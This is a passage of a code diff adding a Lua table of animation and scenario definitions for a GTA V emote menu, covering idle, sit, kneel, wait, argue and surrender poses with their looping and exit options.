+ "WORLD_HUMAN_COP_IDLES",
+ "Cop"
+ },
+ ["drill"] = {
+ "Scenario",
+ "WORLD_HUMAN_CONST_DRILL",
+ "Construction Drilling"
+ },
+ ["filmshocking"] = {
+ "Scenario",
+ "WORLD_HUMAN_MOBILE_FILM_SHOCKING",
+ "Film Shocking"
+ },
+ ["flex"] = {
+ "Scenario",
+ "WORLD_HUMAN_MUSCLE_FLEX",
+ "Flex"
+ },
+ ["guard"] = {
+ "Scenario",
+ "WORLD_HUMAN_GUARD_STAND",
+ "Guard"
+ },
+ ["garden"] = {
+ "Scenario",
+ "WORLD_HUMAN_GARDENER_PLANT",
+ "Gardening"
+ },
+ ["hammer"] = {
+ "Scenario",
+ "WORLD_HUMAN_HAMMERING",
+ "Hammer"
+ },
+ ["hangout"] = {
+ "Scenario",
+ "WORLD_HUMAN_HANG_OUT_STREET",
+ "Hangout"
+ },
+ ["impatient"] = {
+ "Scenario",
+ "WORLD_HUMAN_STAND_IMPATIENT",
+ "Impatient"
+ },
+ ["janitor"] = {
+ "Scenario",
+ "WORLD_HUMAN_JANITOR",
+ "Janitor"
+ },
+ ["jog"] = {
+ "Scenario",
+ "WORLD_HUMAN_JOG_STANDING",
+ "Jog"
+ },
+ ["kneel"] = {
+ "Scenario",
+ "CODE_HUMAN_MEDIC_KNEEL",
+ "Kneel"
+ },
+ ["lean"] = {
+ "Scenario",
+ "WORLD_HUMAN_LEANING",
+ "Lean"
+ },
+ ["leanbar"] = {
+ "Scenario",
+ "PROP_HUMAN_BUM_SHOPPING_CART",
+ "Lean Bar"
+ },
+ ["lookout"] = {
+ "Scenario",
+ "CODE_HUMAN_CROSS_ROAD_WAIT",
+ "Lookout"
+ },
+ ["maid"] = {
+ "Scenario",
+ "WORLD_HUMAN_MAID_CLEAN",
+ "Maid"
+ },
+ ["medic"] = {
+ "Scenario",
+ "CODE_HUMAN_MEDIC_TEND_TO_DEAD",
+ "Medic"
+ },
+ ["musician"] = {
+ "MaleScenario",
+ "WORLD_HUMAN_MUSICIAN",
+ "Musician"
+ },
+ -- Ambient Music Doesn't Seem To Work For Female, Hence It's Male Only
+ ["notepad2"] = {
+ "Scenario",
+ "CODE_HUMAN_MEDIC_TIME_OF_DEATH",
+ "Notepad 2"
+ },
+ ["parkingmeter"] = {
+ "Scenario",
+ "PROP_HUMAN_PARKING_METER",
+ "Parking Meter"
+ },
+ ["party"] = {
+ "Scenario",
+ "WORLD_HUMAN_PARTYING",
+ "Party"
+ },
+ ["texting"] = {
+ "Scenario",
+ "WORLD_HUMAN_STAND_MOBILE",
+ "Texting"
+ },
+ ["prosthigh"] = {
+ "Scenario",
+ "WORLD_HUMAN_PROSTITUTE_HIGH_CLASS",
+ "Prostitue High"
+ },
+ ["prostlow"] = {
+ "Scenario",
+ "WORLD_HUMAN_PROSTITUTE_LOW_CLASS",
+ "Prostitue Low"
+ },
+ ["puddle"] = {
+ "Scenario",
+ "WORLD_HUMAN_BUM_WASH",
+ "Puddle"
+ },
+ ["record"] = {
+ "Scenario",
+ "WORLD_HUMAN_MOBILE_FILM_SHOCKING",
+ "Record"
+ },
+ ["smoke"] = {
+ "Scenario",
+ "WORLD_HUMAN_SMOKING",
+ "Smoke"
+ },
+ ["smokeweed"] = {
+ "MaleScenario",
+ "WORLD_HUMAN_DRUG_DEALER",
+ "Smoke Weed (Male)"
+ },
+ -- Female
+ ["smokeweed2"] = {
+ "Scenario",
+ "WORLD_HUMAN_SMOKING_POT",
+ "Smoke Weed (Female)"
+ },
+ -- Female
+ ["statue"] = {
+ "Scenario",
+ "WORLD_HUMAN_HUMAN_STATUE",
+ "Statue"
+ },
+ ["weld"] = {
+ "Scenario",
+ "WORLD_HUMAN_WELDING",
+ "Weld"
+ },
+ ["windowshop"] = {
+ "Scenario",
+ "WORLD_HUMAN_WINDOW_SHOP_BROWSE",
+ "Window Shop"
+ },
+ ["yoga"] = {
+ "Scenario",
+ "WORLD_HUMAN_YOGA",
+ "Yoga"
+ },
+
+---------- END OF SCENARIOS --------------
+
+ ["dispenser"] = {
+ "mini@sprunk",
+ "plyr_buy_drink_pt1",
+ "Dispenser",
+ AnimationOptions =
+ {
+ EmoteLoop = false
+ }
+ },
+ ["cuffedfront"] = {
+ "anim@move_m@prisoner_cuffed",
+ "idle",
+ "Handcuffed - Front",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ ExitEmote = "breakfreefont",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["cuffedback"] = {
+ "mp_arresting",
+ "idle",
+ "Handcuffed - Back",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ ExitEmote = "breakfreeback",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["femalestandcute"] = {
+ "stand_cute_6@dark",
+ "stand_cute_6_clip",
+ "Female Stand Cute Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femalestandcute1"] = {
+ "stand_fem_1@darksj",
+ "stand_fem_1_clip",
+ "Female Stand Cute Pose 1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femalestandcute2"] = {
+ "feet_stand_w@darksj",
+ "feet_stand_w_clip",
+ "Female Stand Cute Pose 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femalestandcute3"] = {
+ "anim@female_model_14",
+ "f_model_14_clip",
+ "Female Stand Cute Pose 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femalestandcutefinger"] = {
+ "anim@female_model_15",
+ "f_model_15_clip",
+ "Female Stand Cute Pose Finger",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femalestandcute4"] = {
+ "anim@female_model_17",
+ "f_model_17_clip",
+ "Female Stand Cute Pose 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["malestandpose"] = {
+ "anim@male_model_11",
+ "m_model_11_clip",
+ "Male Stand Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false
+ }
+ },
+ ["femalesitcute"] = {
+ "sit_cute_1@dark",
+ "sit_cute_1_clip",
+ "Female Sit Cute",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["femalesitcute1"] = {
+ "mrwitt@chin_support_on_floor",
+ "mrwitt",
+ "Female Sit Cute 1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["femalesitcute2"] = {
+ "beach_1@janina234",
+ "beach_1_clip",
+ "Female Sit Cute 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["femaleonknees"] = {
+ "beach_4@janina234",
+ "beach_4_clip",
+ "Female On Knees Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["femaleonknees1"] = {
+ "on_the_knees@darksj",
+ "on_the_knees_clip",
+ "Female On Knees Pose 1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["femaleonknees2"] = {
+ "anim@female_model_21",
+ "f_model_21_clip",
+ "Female On Knees Pose 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = false,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["beast"] = {
+ "anim@mp_fm_event@intro",
+ "beast_transform",
+ "Beast",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 5000
+ }
+ },
+ ["chill"] = {
+ "switch@trevor@scares_tramp",
+ "trev_scares_tramp_idle_tramp",
+ "Chill",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 200,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["cloudgaze"] = {
+ "switch@trevor@annoys_sunbathers",
+ "trev_annoys_sunbathers_loop_girl",
+ "Cloudgaze",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["cloudgaze2"] = {
+ "switch@trevor@annoys_sunbathers",
+ "trev_annoys_sunbathers_loop_guy",
+ "Cloudgaze 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["daydream"] = { --- Custom Emote By Darks Animations
+ "girl_groupe_d@darksj",
+ "girl_groupe_d_clip",
+ "Daydream In The Clouds",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["khands"] = { --- Custom Emote By EnchantedBrwny
+ "ebrwny_heart000",
+ "ebrwny_hrt000",
+ "Korean Hand Hearts 🇰🇷",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["uwu2"] = { --- Custom Emote By EnchantedBrwny
+ "ebrwny_pack000",
+ "ebrwny_shy",
+ "UwU 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true,
+ }
+ },
+ ["rawr"] = { --- Custom Emote By EnchantedBrwny
+ "ebrwny_pack000",
+ "ebrwny_rawr",
+ "Rawr",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["stop"] = { --- Custom Emote By EnchantedBrwny
+ "ebrwny_pack000",
+ "ebrwny_stop",
+ "Stop",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sassy"] = { --- Custom Emote By EnchantedBrwny
+ "ebrwny_pack000",
+ "ebrwny_sass",
+ "Sassy",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["sitsad3"] = { --- Custom Emote By EnchantedBrwny
+ "ebrwny_pack000",
+ "ebrwny_sitf000",
+ "Sit Sad 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["sitsad4"] = { --- Custom Emote By EnchantedBrwny
+ "ebrwny_pack000",
+ "ebrwny_sitf001",
+ "Sit Sad 4",
+ AnimationOptions = {
+ StartDelay = 600,
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["bend"] = {
+ "ebrwny_pack000",
+ "ebrwny_bend",
+ "Bent over",
+ AnimationOptions = {
+ StartDelay = 600,
+ EmoteLoop = true,
+ EmoteMoving = true,
+ NotInVehicle = true
+ },
+ AdultAnimation = true
+ },
+ ["prone"] = {
+ "missfbi3_sniping",
+ "prone_dave",
+ "Prone",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 700,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["pullover"] = {
+ "misscarsteal3pullover",
+ "pull_over_right",
+ "Pullover",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1300
+ }
+ },
+ ["idle"] = {
+ "anim@heists@heist_corona@team_idles@male_a",
+ "idle",
+ "Idle",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idle8"] = {
+ "amb@world_human_hang_out_street@male_b@idle_a",
+ "idle_b",
+ "Idle 8"
+ },
+ ["idle9"] = {
+ "friends@fra@ig_1",
+ "base_idle",
+ "Idle 9",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idle10"] = {
+ "mp_move@prostitute@m@french",
+ "idle",
+ "Idle 10",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["idle11"] = {
+ "random@countrysiderobbery",
+ "idle_a",
+ "Idle 11",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idle2"] = {
+ "anim@heists@heist_corona@team_idles@female_a",
+ "idle",
+ "Idle 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idle3"] = {
+ "anim@heists@humane_labs@finale@strip_club",
+ "ped_b_celebrate_loop",
+ "Idle 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idle4"] = {
+ "anim@mp_celebration@idles@female",
+ "celebration_idle_f_a",
+ "Idle 4",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idle5"] = {
+ "anim@mp_corona_idles@female_b@idle_a",
+ "idle_a",
+ "Idle 5",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idle6"] = {
+ "anim@mp_corona_idles@male_c@idle_a",
+ "idle_a",
+ "Idle 6",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idle7"] = {
+ "anim@mp_corona_idles@male_d@idle_a",
+ "idle_a",
+ "Idle 7",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idledrunk"] = {
+ "random@drunk_driver_1",
+ "drunk_driver_stand_loop_dd1",
+ "Idle Drunk",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idledrunk2"] = {
+ "random@drunk_driver_1",
+ "drunk_driver_stand_loop_dd2",
+ "Idle Drunk 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["idledrunk3"] = {
+ "missarmenian2",
+ "standing_idle_loop_drunk",
+ "Idle Drunk 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["airguitar"] = {
+ "anim@mp_player_intcelebrationfemale@air_guitar",
+ "air_guitar",
+ "Air Guitar"
+ },
+ ["airsynth"] = {
+ "anim@mp_player_intcelebrationfemale@air_synth",
+ "air_synth",
+ "Air Synth"
+ },
+ ["argue"] = {
+ "misscarsteal4@actor",
+ "actor_berating_loop",
+ "Argue",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["argue2"] = {
+ "oddjobs@assassinate@vice@hooker",
+ "argue_a",
+ "Argue 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["argue3"] = {
+ "missheistdockssetup1leadinoutig_1",
+ "lsdh_ig_1_argue_wade",
+ "Argue 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["argue4"] = {
+ "car_2_mcs_1-6",
+ "cs_devin_dual-6",
+ "Argue 4",
+ AnimationOptions = {
+ EmoteDuration = 6000,
+ EmoteMoving = true
+ }
+ },
+ ["argue5"] = {
+ "anim@amb@casino@brawl@fights@argue@",
+ "arguement_loop_mp_m_brawler_01",
+ "Argue Angry 1",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["argue6"] = {
+ "anim@amb@casino@brawl@fights@argue@",
+ "arguement_loop_mp_m_brawler_02",
+ "Argue Angry 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["bartender"] = {
+ "anim@amb@clubhouse@bar@drink@idle_a",
+ "idle_a_bartender",
+ "Bartender",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["blowkiss"] = {
+ "anim@mp_player_intcelebrationfemale@blow_kiss",
+ "blow_kiss",
+ "Blow Kiss"
+ },
+ ["blowkiss2"] = {
+ "anim@mp_player_intselfieblow_kiss",
+ "exit",
+ "Blow Kiss 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["curtsy"] = {
+ "anim@mp_player_intcelebrationpaired@f_f_sarcastic",
+ "sarcastic_left",
+ "Curtsy"
+ },
+ ["bringiton"] = {
+ "misscommon@response",
+ "bring_it_on",
+ "Bring It On",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3000
+ }
+ },
+ ["comeatmebro"] = {
+ "mini@triathlon",
+ "want_some_of_this",
+ "Come at me bro",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 2000
+ }
+ },
+ ["cop2"] = {
+ "anim@amb@nightclub@peds@",
+ "rcmme_amanda1_stand_loop_cop",
+ "Cop 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["cop3"] = {
+ "amb@code_human_police_investigate@idle_a",
+ "idle_b",
+ "Cop 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["crossarms"] = {
+ "amb@world_human_hang_out_street@female_arms_crossed@idle_a",
+ "idle_a",
+ "Crossarms",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["crossarms2"] = {
+ "amb@world_human_hang_out_street@male_c@idle_a",
+ "idle_b",
+ "Crossarms 2",
+ AnimationOptions = {
+ EmoteMoving = true
+ }
+ },
+ ["crossarms3"] = {
+ "anim@heists@heist_corona@single_team",
+ "single_team_loop_boss",
+ "Crossarms 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["crossarms4"] = {
+ "random@street_race",
+ "_car_b_lookout",
+ "Crossarms 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["crossarms5"] = {
+ "anim@amb@nightclub@peds@",
+ "rcmme_amanda1_stand_loop_cop",
+ "Crossarms 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foldarms2"] = {
+ "anim@amb@nightclub@peds@",
+ "rcmme_amanda1_stand_loop_cop",
+ "Fold Arms 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["crossarms6"] = {
+ "random@shop_gunstore",
+ "_idle",
+ "Crossarms 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["foldarms"] = {
+ "anim@amb@business@bgen@bgen_no_work@",
+ "stand_phone_phoneputdown_idle_nowork",
+ "Fold Arms",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["crossarmsside"] = {
+ "rcmnigel1a_band_groupies",
+ "base_m2",
+ "Crossarms Side",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["damn"] = {
+ "gestures@m@standing@casual",
+ "gesture_damn",
+ "Damn",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1000
+ }
+ },
+ ["damn2"] = {
+ "anim@am_hold_up@male",
+ "shoplift_mid",
+ "Damn 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1000
+ }
+ },
+ ["pointdown"] = {
+ "gestures@f@standing@casual",
+ "gesture_hand_down",
+ "Point Down",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 1000
+ }
+ },
+ ["surrender"] = {
+ "random@arrests@busted",
+ "idle_a",
+ "Surrender",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "surrender_exit",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["surrender2"] = {
+ "mp_bank_heist_1",
+ "f_cower_02",
+ "Surrender 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["surrender3"] = {
+ "mp_bank_heist_1",
+ "m_cower_01",
+ "Surrender 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["surrender4"] = {
+ "mp_bank_heist_1",
+ "m_cower_02",
+ "Surrender 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["surrender5"] = {
+ "random@arrests",
+ "kneeling_arrest_idle",
+ "Surrender 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "surrender_exit",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["surrender6"] = {
+ "rcmbarry",
+ "m_cower_01",
+ "Surrender 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ ExitEmote = "getup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["facepalm2"] = {
+ "anim@mp_player_intcelebrationfemale@face_palm",
+ "face_palm",
+ "Facepalm 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 8000
+ }
+ },
+ ["facepalm"] = {
+ "random@car_thief@agitated@idle_a",
+ "agitated_idle_a",
+ "Facepalm",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 8000
+ }
+ },
+ ["facepalm3"] = {
+ "missminuteman_1ig_2",
+ "tasered_2",
+ "Facepalm 3",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 8000
+ }
+ },
+ ["facepalm4"] = {
+ "anim@mp_player_intupperface_palm",
+ "idle_a",
+ "Facepalm 4",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["fallover"] = {
+ "random@drunk_driver_1",
+ "drunk_fall_over",
+ "Fall Over"
+ },
+ ["fallover2"] = {
+ "mp_suicide",
+ "pistol",
+ "Fall Over 2"
+ },
+ ["fallover3"] = {
+ "mp_suicide",
+ "pill",
+ "Fall Over 3"
+ },
+ ["fallover4"] = {
+ "friends@frf@ig_2",
+ "knockout_plyr",
+ "Fall Over 4"
+ },
+ ["fallover5"] = {
+ "anim@gangops@hostage@",
+ "victim_fail",
+ "Fall Over 5"
+ },
+ ["fallasleep"] = {
+ "mp_sleep",
+ "sleep_loop",
+ "Fall Asleep",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["fightme"] = {
+ "anim@deathmatch_intros@unarmed",
+ "intro_male_unarmed_c",
+ "Fight Me"
+ },
+ ["fightme2"] = {
+ "anim@deathmatch_intros@unarmed",
+ "intro_male_unarmed_e",
+ "Fight Me 2"
+ },
+ ["finger"] = {
+ "anim@mp_player_intselfiethe_bird",
+ "idle_a",
+ "Finger",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["finger2"] = {
+ "anim@mp_player_intupperfinger",
+ "idle_a_fp",
+ "Finger 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["handshake"] = {
+ "mp_ped_interaction",
+ "handshake_guy_a",
+ "Handshake",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3000
+ }
+ },
+ ["handshake2"] = {
+ "mp_ped_interaction",
+ "handshake_guy_b",
+ "Handshake 2",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 3000
+ }
+ },
+ ["wait"] = {
+ "random@shop_tattoo",
+ "_idle_a",
+ "Wait",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait2"] = {
+ "missbigscore2aig_3",
+ "wait_for_van_c",
+ "Wait 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait3"] = {
+ "amb@world_human_hang_out_street@female_hold_arm@idle_a",
+ "idle_a",
+ "Wait 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait4"] = {
+ "amb@world_human_hang_out_street@Female_arm_side@idle_a",
+ "idle_a",
+ "Wait 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait5"] = {
+ "missclothing",
+ "idle_storeclerk",
+ "Wait 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait6"] = {
+ "timetable@amanda@ig_2",
+ "ig_2_base_amanda",
+ "Wait 6",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait7"] = {
+ "rcmnigel1cnmt_1c",
+ "base",
+ "Wait 7",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait8"] = {
+ "rcmjosh1",
+ "idle",
+ "Wait 8",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait9"] = {
+ "rcmjosh2",
+ "josh_2_intp1_base",
+ "Wait 9",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait10"] = {
+ "timetable@amanda@ig_3",
+ "ig_3_base_tracy",
+ "Wait 10",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait11"] = {
+ "misshair_shop@hair_dressers",
+ "keeper_base",
+ "Wait 11",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait12"] = {
+ "rcmjosh1",
+ "keeper_base",
+ "Wait 12",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["wait13"] = {
+ "rcmnigel1a",
+ "base",
+ "Wait 13",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["hiking"] = {
+ "move_m@hiking",
+ "idle",
+ "Hiking",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["hugme"] = {
+ "mp_ped_interaction",
+ "kisses_guy_a",
+ "Hug Me"
+ },
+ ["hugme2"] = {
+ "mp_ped_interaction",
+ "kisses_guy_b",
+ "Hug Me 2"
+ },
+ ["inspect"] = {
+ "random@train_tracks",
+ "idle_e",
+ "Inspect"
+ },
+ ["jazzhands"] = {
+ "anim@mp_player_intcelebrationfemale@jazz_hands",
+ "jazz_hands",
+ "Jazzhands",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteDuration = 6000
+ }
+ },
+ ["jog2"] = {
+ "amb@world_human_jog_standing@male@idle_a",
+ "idle_a",
+ "Jog 2",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["jog3"] = {
+ "amb@world_human_jog_standing@female@idle_a",
+ "idle_a",
+ "Jog 3",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["jog4"] = {
+ "amb@world_human_power_walker@female@idle_a",
+ "idle_a",
+ "Jog 4",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["jog5"] = {
+ "move_m@joy@a",
+ "walk",
+ "Jog 5",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["jumpingjacks"] = {
+ "timetable@reunited@ig_2",
+ "jimmy_getknocked",
+ "Jumping Jacks",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["kneel2"] = {
+ "rcmextreme3",
+ "idle",
+ "Kneel 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["kneel3"] = {
+ "amb@world_human_bum_wash@male@low@idle_a",
+ "idle_a",
+ "Kneel 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["kneelthot"] = {
+ "anim@model_kylie_insta",
+ "kylie_insta_clip",
+ "Kneel Thot Instagram",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 200,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["kneelbored"] = { --- Custom Emote By Chocoholic Animations
+ "chocoholic@duo17",
+ "duo17_clip",
+ "Kneel Bored Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 200,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["kneelpeace"] = { --- Custom Emote By Chocoholic Animations
+ "chocoholic@duo18",
+ "duo18_clip",
+ "Kneel Peace Sign Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 200,
+ ExitEmote = "standup",
+ ExitEmoteType = "Exits"
+ }
+ },
+ ["shoepose"] = { --- Custom Emote By Darks Animations
+ "male_duo_a@darksj",
+ "male_duo_a_clip",
+ "Shoe Kick Pose",
+ AnimationOptions = {
+ EmoteLoop = true,
+ StartDelay = 240
+ }
+ },
+ ["rap"] = { --- Custom Emote By Darks Animations
+ "couple_singing_m@darks37",
+ "couple_singing_m_clip",
+ "Rap / Sing",
+ AnimationOptions = {
+ EmoteLoop = true,
+ EmoteMoving = true
+ }
+ },
+ ["squatgunpose"] = { --- Custom Emote By Darks Animations
+ "ganggirls_pose1@darks37",
+ "ganggirls_pose1_clip",
+ "Squat Gun Pose - Left",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["squatgunpose3"] = { --- Custom Emote By Darks Animations
+ "gun_prime_2@darksj",
+ "gun_prime_2_clip",
+ "Squat Gun Pose 3",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["knock"] = {
+ "timetable@jimmy@doorknock@",
+ "knockdoor_idle",
+ "Knock",
+ AnimationOptions = {
+ EmoteMoving = true,
+ EmoteLoop = true
+ }
+ },
+ ["knock2"] = {
+ "missheistfbi3b_ig7",
+ "lift_fibagent_loop",
+ "Knock 2",
+ AnimationOptions = {
+ EmoteLoop = true
+ }
+ },
+ ["knucklecrunch"] = {
